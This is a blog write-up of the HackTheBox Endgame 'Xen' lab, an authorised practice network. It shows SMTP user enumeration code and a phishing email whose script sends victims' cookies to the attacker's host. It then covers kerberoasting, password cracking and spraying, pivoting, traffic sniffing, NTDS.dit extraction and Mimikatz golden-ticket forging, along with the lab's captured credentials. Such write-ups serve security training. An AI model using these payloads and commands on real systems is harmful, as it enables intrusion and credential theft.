Home HackTheBox - Endgame/Xen Writeup
Post
Cancel

HackTheBox - Endgame/Xen Writeup

This lab had 3 Windows end-user computers, 1 Netscaler FreeBSD server, 1 Citrix Windows server and 1 Domain Controller. Initial access was based on social engineering and phishing attacks, followed by privilege escalation I was able to own first 3 end-user computers.

One of the accounts had SPN, allowed kerberoasting and moving laterally. After some post exploitation, enumeration and escalation, I was able to own Citrix and Netscaler server too. The user I got initial access on DC had some juicy privileges that allowed me to obtain shadow files. After gathering hashes and crafting golden ticket, I was able to finish this lab

Key skills required

  • Social Engineering - Phishing attacks
  • Post Exploitation
  • Lateral Movement
  • Silver-Golden tickets
  • Pivoting
  • Active Directory

Breach

Social engineering-phishing mails is one of the most popular attack vectors in data breaches. As the name suggests I knew it was going to be a some sort of a phishing attack.

First, I started with doing some enumeration on port 25(smtp). Server was giving some different error if the “MAIL FROM” field is valid so I was pretty much able to enumerate users.

SMTP User Enumeration

I wrote a simple multithreaded python script for smtp user enumeration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import sys
import socket
import threading

ip = '10.13.38.12'
domain = 'EXCHANGE.HTB.LOCAL'
mail_from = 'morph3@ecorp.com'
n_threads = 50
m_list = []
t_list = []

if (len(sys.argv) < 2):
    print("python smtp_user_enum.py wordlist.txt")
    sys.exit(1)

fn = sys.argv[1]
f = open(fn,"r")
[m_list.append(m.replace("\n","")) for m in f]
m_list.reverse()

def send_mail():
    while True:
        try:
            print len(m_list)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, 25))
            r = s.recv(1024)
            s.send(("HELO {}\r\n".format(domain)).encode())
            r = s.recv(1024)
            s.send(("MAIL FROM: {}\r\n".format(mail_from)).encode())
            r = s.recv(1024)
            x = m_list.pop()
            s.send("RCPT TO: {}@humongousretail.com\r\n".format(x))
            r = s.recv(1024)
            r = r.decode()
            if "550" not in r:
                print x
        except IndexError:
            sys.exit(1)
    return 

for t in range(n_threads):
    t = threading.Thread(target=send_mail,)
    t_list.append(t)
    t.daemon = True
    t.start()
        
for t in t_list:
    try:  
        t.join()
    except KeyboardInterrupt:
        sys.exit(1)

Mails I was able to find,

1
2
3
4
it@humongousretail.com
legal@humongousretail.com
marketing@humongousretail.com
sales@humongousretail.com

I performed some sort of a phishing attack. Sent some mails with links and keywords in them.

I set up a web server in case of getting a hit, also made sure to put keywords such as “Hire, Citrix, CV, Click” just in case if it triggers something.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
telnet 10.13.38.12 25
HELO EXCHANGE.HTB.LOCAL
MAIL FROM: morph3@ecorp.com
RCPT TO: sales@humongousretail.com
DATA
Subject: Hire me 
Mime-Version: 1.0;
Content-Type: text/html; charset="ISO-8859-1";
Content-Transfer-Encoding: 7bit;

<html>
<body>
My CV
<h2>An important link to look at!</h2>
<script> new Image().src="http://10.14.15.141/stealer.php?cookie="+document.cookie;</script> </h1>
<h1>Citrix http://10.14.15.141/pwned</h1>
<a href="10.14.15.141/pwned">click me.</a>  
<img src="10.14.15.141/img">

</body>
</html>
.

I received the following callbacks,

1
2
3
4
5
6
10.13.38.12 - - [13/Feb/2020 09:09:30] code 501, message Unsupported method ('POST')
10.13.38.12 - - [13/Feb/2020 09:09:30] "POST /remote/auth/login.aspx?LoginType=Explicit&user=pmorgan&password=Summer1Summer!&domain=HTB.LOCAL HTTP/1.1" 501 -
10.13.38.12 - - [13/Feb/2020 09:09:51] code 501, message Unsupported method ('POST')
10.13.38.12 - - [13/Feb/2020 09:09:51] "POST /remote/auth/login.aspx?LoginType=Explicit&user=awardel&password=@M3m3ntoM0ri@&domain=HTB.LOCAL HTTP/1.1" 501 -
10.13.38.12 - - [13/Feb/2020 09:09:53] code 501, message Unsupported method ('POST')
10.13.38.12 - - [13/Feb/2020 09:09:53] "POST /remote/auth/login.aspx?LoginType=Explicit&user=jmendes&password=VivaBARC3L0N@!!!&domain=HTB.LOCAL HTTP/1.1" 501 -

Initial access on Citrix

You can simply install the citrix-cli located on the server. Login with the credentials captured before. Used https://humongousretail.com/remote

Deploy

There is no windows defender or antivirus program on this machine, you can simply get a meterpreter session. It was a Windows 7 box so I gave a shot to local_exploit_suggester module of metasploit.

As it suggested, you can easily elevate privileges with always_install_elevated module.

Or you can use a newer CVE here too. We have GUI interaction on this machine so CVE-2019-1388 is a perfect place here.

  • https://github.com/jas502n/CVE-2019-1388

Topology

At this point, I’ve already owned 3 machines and started mapping the lab.

Arp entries gave me some idea about the other machines.

My ip address was 172.16.249.205(10.13.38.15) other 2 Windows-7 machines were 172.16.249.204(10.13.38.14) and 172.16.249.203(10.13.38.13)

Citrix and DC luckily resolved in DNS. DC was 172.16.249.200

Citrix was 172.16.249.201 - 10.13.38.12(initial access)

I left with Netscaler 172.16.249.202 *** Generally *UNIX systems have TTL of 64 when pinging. I knew Netscaler was FreeBSD and its TTL was 64 so that strengthen my assumption.

Whole diagram

Kerberoasting

After spending some time and enumeration I saw some of the users had SPNs.

Import-Module .\GetUserSPNs.ps1

Kerberoasting-extracting it

1
2
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat

This part took a bit more time than expected from me. Hash was be crackable with a word rule.

hashcat -m 13100 -a 0 ticket.hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/T0XlC-insert_space_and_special_0_F.rule --force

Password :

mturner:4install!

Pivoting

As jumping to other boxes was necessary in order to run some scripts and do stuff, I needed a proxy. I set up a proxy over meterpreter session.

Now I can run commands over proxychains for the subnet I pivoted for.

Ghost

proxychains smbmap -u mturner -p '4install!' -H 172.16.249.201 -d htb.local

As always smbclient gave me some errors and decided not to work, I continued working on windows(which feels a bit more comfortable to be honest).

net use F: \\citrix.htb.local\Citrix$ /u:mturner 4install!

Camouflage

An unprivileged user on the netscaler was not able to drop to shell and it was pretty obvious that this ppk file had to be cracked.

This part was frustrating because I couldn’t manage to crack the ppk file for a long time. A keyboard walked wordlist was required.

Clone the repository from here and generate a wordlist based on base chars, keymap and route. https://github.com/hashcat/kwprocessor

1
2
3
./kwp basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route
/usr/sbin/putty2john private.ppk > private.ppk.hash
john private.ppk.hash --wordlist=/opt/kwprocessor/kw-list-small.txt

Password: =-09876567890-=-

It can be simply converted to OpenSSH private key, puttygen private.ppk -O private-openssh -o private.rsa

Now we can ssh. (note that Netscaler’s root user is nsroot)

1
2
proxychains ssh -i private.rsa nsroot@172.16.249.202
shell

This box is not over yet. Now we continue with post exploitation.

Lets start with checking the logs

1
2
3
4
5
6
cd /var/log
gunzip -d *.gz

cat * | grep XEN
$ /login/do_login?LoginType=Explicit&username=cmeller&password=XEN%7Bbu7_ld4p5_15_4_h455l3%7D
^ When I first tried it was on the logs but second time I tried, it wasn't there.

netscaler-svc was always in interaction with Citrix server and Netscaler as I saw from the logs, listening the traffic sounded like a good idea.

1
2
3
tcpdump -s 65534 -w out.pcap
proxychains scp -i private.rsa nsroot@172.16.249.202:/root/out.pcap .
wireshark out.cap

Aaand here is our flag.

In ns.conf files you can find the encrypted passwords and they can be decrypted with the script below.

  • https://dozer.nz/citrix-decrypt/
1
2
python citrix-decrypt.py 980870120b63eb314cf823c8fe685795fa12138b38c031477b391b5d78d19388 ENCMTHD_3
#S3rvice#@cc

There was also netscaler-svc’s password in the tcpdump capture too. I actually saw this after I finished the lab.

Doppelgänger

To this step, I’ve already had lots of credentials and had owned most of the boxes.

We shouldn’t be really off right ?

As the name Doppelgänger suggests there can be an account that uses the same password with ones the we found.

Time to spray the passwords :)

1
2
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password '#S3rvice#@cc' -OutFile sprayed-creds.txt

RDP and WinRM … That’s good.

proxychains xfreerdp /v:172.16.249.200 /u:backup-svc /p:'#S3rvice#@cc'

Owned

Running a BloodHound might have been a good idea here but it seemed pretty straight forward and obvious so I decided not to use it. Backup-svc user had some juicy privileges that I could abuse. SeBackupPrivilege

TL;DR We can create a shadow copy of the OS and read secret files such as SYSTEM, SECURITY, NTDS.dit etc.

  • https://github.com/giuliano108/SeBackupPrivilege

I created a shadow copy and exposed it on G:

1
2
3
4
5
diskshadow.exe
set context persistent nowriters
add volume C: alias morph3
create
expose %morph3% G:

To abuse my SeBackupPrivilege privilege, I used the dlls that I linked above and enabled my privilege.

1
2
3
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege

1
2
3
4
5
6
7
8
Copy-FileSeBackupPrivilege <source> <target>

To transfer files, I shared 2 directories on both hosts to move back and forth
On VDesktop-3
net use R: \\172.16.249.200\C$ /user:backup-svc #S3rvice#@cc

On DC
net use F: \\172.16.249.205\C$ /user:pmorgan Summer1Summer!

After getting files locally I dumped the secrets,

python secretsdump.py -system /root/Desktop/htb/endgame/xen/sixth_flag/SYSTEM -ntds /root/Desktop/htb/endgame/xen/sixth_flag/ntds.dit LOCAL

Now we are going to Willy Wonka & the Chocolate Factory. To get DC’s SID

.\PsGetsid.exe -accepteula \\dc.htb.local

Forging the ticket

1
2
3
mimi32.exe
kerberos::golden /user:krbtgt /domain:htb.local /krbtgt:3791ca8d70c9e1d2d2c7c5b5c7c253e8 /sid:S-1-5-21-1943675722-3306049422-2153511175
kerberos::ptt ticket.kirbi

Lets check if it works.

1
2
3
dir \\dc.htb.local\c$

type \\dc.htb.local\c$\Users\Administrator\Desktop\flag.txt

\o/ Thank you for reading. It was an amazing experience thanks to egre55 for this lab. Had so much fun !

This post is licensed under CC BY 4.0 by the author.